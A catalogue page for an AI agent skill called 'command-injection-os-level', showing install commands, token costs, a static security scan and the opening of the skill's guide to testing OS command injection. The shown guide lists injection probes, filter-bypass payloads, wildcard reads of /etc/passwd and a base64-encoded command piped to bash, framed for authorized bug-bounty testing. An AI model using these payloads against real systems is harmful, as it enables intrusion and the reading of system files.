command-injection-os-level

command-injection-os-level is a skill for Claude Code, Codex from ShulkwiSEC/bb-huge. It costs 58 tokens per session (2,136 once invoked), scanned C, original, MIT.

A testing guide for OS command injection, a flaw where application input is interpreted as commands by the operating system.

In plain words
What is it for?
Finding and safely testing command-injection paths in web applications, including visible, blind, and time-based behavior.
Why use it?
It helps authorized testers confirm whether an attacker could append commands to features such as ping, file conversion, or network diagnostics.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/shulkwisec/bb-huge/command-injection-os-level
Any agent
npx skills add ShulkwiSEC/bb-huge --skill command-injection-os-level
Clone the repo
git clone --depth 1 https://github.com/ShulkwiSEC/bb-huge

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for command-injection-os-level

README.md
[![agentmods](https://agentmods.dev/badge/skills/shulkwisec/bb-huge/command-injection-os-level.svg)](https://agentmods.dev/skills/shulkwisec/bb-huge/command-injection-os-level)
Your own site
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/command-injection-os-level"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/command-injection-os-level.svg" alt="Measured on agentmods" height="20"></a>
Per session 58 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,136 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 4 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00058 $0.02136
Opus 5 $0.00029 $0.01068
Sonnet 5 $0.00012 $0.00427
Haiku 4.5 $0.00006 $0.00214

Measured today against content hash c05a2efa1158, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade C, and why

command-injection-os-level scanned grade C with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured today.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Encoded or obfuscated payloadmediumSupply chain

base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.

;echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Unrestricted tool accesslowExcessive agency

A wildcard tool grant or "run any command" leaves no least-privilege boundary at all.

The "Ping Utility" feature passes the `target_ip` parameter directly into an unsanitized `os.system()` call on the backend server. By appending shell metacharacters, an attacker can execute arbitrary commands on the unde

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

# 2. HTTP Exfiltration (Using curl/wget)

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

- Python: Use `subprocess.run(["ping", "-c", "3", user_input])` rather than `os.system("ping " + user_input)` which spawns a vulnerable shell.
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

skills/curated/command-injection-os-level/SKILL.md · 181 lines

How it starts

The opening of the file, as written. The whole thing — 181 lines — stays where its author put it; the contents beside it link to each section on GitHub.

OS Command Injection

When to Use

  • When an application exposes functionality that typically relies on underlying OS binaries (e.g., ping, nslookup, traceroute, ffmpeg, pdfgen).
  • When input parameters seem to be interacting directly with the filesystem or networked services (e.g., ?ip=127.0.0.1 or ?folder=/tmp).
  • To escalate blind or visible reflection bugs into complete, system-level Remote Code Execution (RCE).

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Injection Detection (Visible Response)

# Concept: If the developer executes `ping -c 3 $USER_INPUT`, we can use shell 
# metacharacters to string together our own commands.

# Common Metacharacters:
;    (Command separator - Linux)
|    (Piping - Linux/Windows)
||   (OR operator - executes second if first fails)
&&   (AND operator - executes second if first succeeds)
`cmd` or $(cmd) (Command Substitution)
%0a  (Newline character / URL Encoded)

# 1. Basic Probing
# If the intended input is 127.0.0.1:
?ip=127.0.0.1;id
?ip=127.0.0.1|whoami
?ip=127.0.0.1||whoami
?ip=127.0.0.1%0awhoami
?ip=$(whoami)

# 2. Analyze Output
# If the response includes `uid=1000(www-data) gid=1000(www-data)`, it is definitively vulnerable to Command Injection.

Phase 2: Bypassing Filters & Restrictions

# Concept: WAFs or developers may try to filter spaces, slashes, or specific words (like `cat` or `flag`).

# 1. Bypassing Space Filters
# Use Input Field Separators (IFS), brace expansion, or redirection.
;cat<target.txt            # Redirection instead of space
;cat${IFS}target.txt       # Uses Internal Field Separator
;{cat,target.txt}          # Brace expansion

# 2. Bypassing Blacklisted Commands (e.g., 'cat' or 'whoami' blocked)
# Use quotes, slash injection, or wildcards to break up the word.
w'h'o'a'm'i
w"h"o"a"m"i
wh$@oami
/b?n/?at /e*c/pas*wd       # Wildcard execution targeting /bin/cat /etc/passwd

# 3. Encoding Bypasses
# Send commands encoded in Base64 and decode them on the fly.
;echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash

Read the full file on GitHub · 181 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. today First seen · 181 lines · 58 tokens per session scan C c05a2efa1158

Subscribe to this mod's changes

command-injection-os-level is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 58 tokens to every session and 2,136 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 4 findings (encoded or obfuscated payload, unrestricted tool access, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

command-injection-os-level

Identify and exploit OS Command Injection vulnerabilities where web applications insecurely pass user input into system shell commands. Use this skill when applications feature ping utilities, file conversions, network diagnostics, or PDF generators to execute arbitrary system commands and achieve Remote Code…

akashrpatil/awesome-offensive-security-skills · 58 tokens

exploiting-command-injection-vulnerabilities

Identify and exploit OS command injection vulnerabilities in web applications where user-supplied input is passed unsanitized to a shell command. Covers in-band, blind, and out-of-band command injection techniques against deliberately vulnerable targets in isolated lab environments.

withcrux/agentHack-skills · 58 tokens

javascript-prototype-pollution

Identify and exploit Prototype Pollution vulnerabilities in JavaScript applications to achieve client-side Cross-Site Scripting (XSS), bypass authentication, or execute Remote Code Execution (RCE) on Node.js servers by manipulating the core Object prototype.

akashrpatil/awesome-offensive-security-skills · 55 tokens

prototype-pollution-rce

Identify and exploit Prototype Pollution vulnerabilities in JavaScript/Node.js applications. This skill covers the progression from polluting Object.prototype to identifying functional gadgets (like childprocess.spawn) to achieve Remote Code Execution (RCE).

akashrpatil/awesome-offensive-security-skills · 55 tokens

spring-boot-actuator-abuse

Identify and exploit misconfigured Spring Boot Actuator endpoints. This skill covers how to extract sensitive configuration details, heap dumps, environment variables, and ultimately escalating to Remote Code Execution (RCE) via spring-cloud-starter vulnerabilities.

akashrpatil/awesome-offensive-security-skills · 57 tokens

broken-object-level-authorization

Identify and exploit Broken Object Level Authorization (BOLA), historically known as Insecure Direct Object Reference (IDOR), in API architectures. Extremely common and critical flaw where an API fails to validate whether the currently authenticated user actually owns or retains permissions over the specifically…

akashrpatil/awesome-offensive-security-skills · 63 tokens